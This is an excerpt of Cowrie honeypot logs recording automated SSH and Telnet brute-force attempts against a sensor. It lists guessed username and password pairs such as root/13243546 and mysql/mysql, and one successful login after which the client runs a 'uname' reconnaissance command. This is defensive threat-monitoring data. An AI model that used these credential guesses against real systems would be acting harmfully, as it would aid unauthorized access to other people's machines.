{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:54:79:a2:c3:36:ef:e8:54:ce:c5:50:d5:f7:f0:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPPD9wvTW14BRfIXwxzP+tdB0Pd/Vt5D2r8qhG9a62YaW7s+MEonpAaB1yWXw3a0CRQcUMD8VMV7e2itOISLnx4zBDuPEf/GItN5rmKEg5V1VnoJ7jhVc8lBzLPWGge0h9ufK9Pq0IE4dUmi6JrlFJ7PEHgd9ulvgJRnzQUbrWRJalVO9HdOi79zzNmX2cWzqPozS29KyVxpbN5FeBuAAQVqW+aJ0SZXCTkKK7idleHqPL1cCSm0zsMEv+RqN005NA9YFbzsO6G5T/t81oTh3HVF3QOYXKqk+W49RVkv1EwEM9fO7tfVwuB2oQge6Crtdy6YM3Hi/9Xn805NPS5b74vctBdM08nk/ONrImmknOnEdfmnHINXncgNUsHnvGy6bwdElQmIP6fOMg9RCGWYU7NJDIbc28BImGQ9/wPnsEYScTQMWiXcK2I1V6VIVQObVRb3Nuxo8aPlwOWQGZ14Kwsl+UUyTh9npRs6mnK4GajqK/G58sL8TDB0xA4ROXeqk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:28.841593Z","src_ip":"78.111.67.242","session":"2d5e738233a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:28.934693Z","src_ip":"78.111.67.242","session":"2d5e738233a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:28.985396Z","src_ip":"192.109.200.237","session":"e5ea8ada9e52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36056,"dst_ip":"10.17.0.5","dst_port":23,"session":"795baaed36ce","protocol":"telnet","message":"New connection: 152.42.224.71:36056 (10.17.0.5:23) [session: 795baaed36ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:29.777352Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54326,"dst_ip":"159.203.135.109","dst_port":22,"session":"77189b96a8d7","protocol":"ssh","message":"New connection: 192.109.200.237:54326 (159.203.135.109:22) [session: 77189b96a8d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:30.875089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:30.881219Z","src_ip":"192.109.200.237","session":"77189b96a8d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:30.965055Z","src_ip":"192.109.200.237","session":"77189b96a8d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:31.222308Z","src_ip":"192.109.200.237","session":"77189b96a8d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:32.348142Z","src_ip":"192.109.200.237","session":"77189b96a8d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.20.210.182","src_port":36246,"dst_ip":"159.203.135.109","dst_port":23,"session":"41e1a7e88597","protocol":"telnet","message":"New connection: 125.20.210.182:36246 (159.203.135.109:23) [session: 41e1a7e88597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:33.592038Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54332,"dst_ip":"159.203.135.109","dst_port":22,"session":"bde428b160cf","protocol":"ssh","message":"New connection: 192.109.200.237:54332 (159.203.135.109:22) [session: bde428b160cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:34.253104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:34.258368Z","src_ip":"192.109.200.237","session":"bde428b160cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:34.341274Z","src_ip":"192.109.200.237","session":"bde428b160cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:34.586823Z","src_ip":"192.109.200.237","session":"bde428b160cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:35.672335Z","src_ip":"192.109.200.237","session":"bde428b160cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54342,"dst_ip":"159.203.135.109","dst_port":22,"session":"f05605fd159c","protocol":"ssh","message":"New connection: 192.109.200.237:54342 (159.203.135.109:22) [session: f05605fd159c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:37.667998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:37.673589Z","src_ip":"192.109.200.237","session":"f05605fd159c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:37.757253Z","src_ip":"192.109.200.237","session":"f05605fd159c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:38.124971Z","src_ip":"192.109.200.237","session":"f05605fd159c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.87822127342224,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:38.235255Z","src_ip":"152.42.224.71","session":"6c93bf33e062","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":59770,"dst_ip":"10.17.0.5","dst_port":22,"session":"9150523ac597","protocol":"ssh","message":"New connection: 192.169.243.246:59770 (10.17.0.5:22) [session: 9150523ac597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:38.971443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:38.980226Z","src_ip":"192.169.243.246","session":"9150523ac597","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:39.056649Z","src_ip":"192.169.243.246","session":"9150523ac597","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:39.212292Z","src_ip":"192.109.200.237","session":"f05605fd159c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openproject","password":"openproject","message":"login attempt [openproject/openproject] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:39.397563Z","src_ip":"192.169.243.246","session":"9150523ac597","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":58838,"dst_ip":"159.203.135.109","dst_port":22,"session":"1128838fa65f","protocol":"ssh","message":"New connection: 103.27.238.114:58838 (159.203.135.109:22) [session: 1128838fa65f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:39.855649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:39.860565Z","src_ip":"103.27.238.114","session":"1128838fa65f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:40.132638Z","src_ip":"103.27.238.114","session":"1128838fa65f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:40.481205Z","src_ip":"192.169.243.246","session":"9150523ac597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13243546","message":"login attempt [root/13243546] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:40.931270Z","src_ip":"103.27.238.114","session":"1128838fa65f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43498,"dst_ip":"159.203.135.109","dst_port":22,"session":"b566338d5429","protocol":"ssh","message":"New connection: 192.109.200.237:43498 (159.203.135.109:22) [session: b566338d5429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:41.229235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:41.234138Z","src_ip":"192.109.200.237","session":"b566338d5429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:41.316775Z","src_ip":"192.109.200.237","session":"b566338d5429","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:41.564716Z","src_ip":"192.109.200.237","session":"b566338d5429","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:41.782234Z","src_ip":"192.109.200.237","session":"b566338d5429","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:41.786463Z","src_ip":"192.109.200.237","session":"b566338d5429","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:41.873837Z","src_ip":"192.109.200.237","session":"b566338d5429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:41.880056Z","src_ip":"192.109.200.237","session":"b566338d5429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:42.199370Z","src_ip":"103.27.238.114","session":"1128838fa65f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43500,"dst_ip":"159.203.135.109","dst_port":22,"session":"85521a3c9dc4","protocol":"ssh","message":"New connection: 192.109.200.237:43500 (159.203.135.109:22) [session: 85521a3c9dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:44.600409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:44.605304Z","src_ip":"192.109.200.237","session":"85521a3c9dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:44.688449Z","src_ip":"192.109.200.237","session":"85521a3c9dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33072,"dst_ip":"10.17.0.5","dst_port":23,"session":"96bef505a3f7","protocol":"telnet","message":"New connection: 152.42.224.71:33072 (10.17.0.5:23) [session: 96bef505a3f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:44.753485Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:44.937576Z","src_ip":"192.109.200.237","session":"85521a3c9dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:46.031884Z","src_ip":"192.109.200.237","session":"85521a3c9dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.48722529411316,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:47.221365Z","src_ip":"152.42.224.71","session":"5e734ad1f691","protocol":"telnet"}
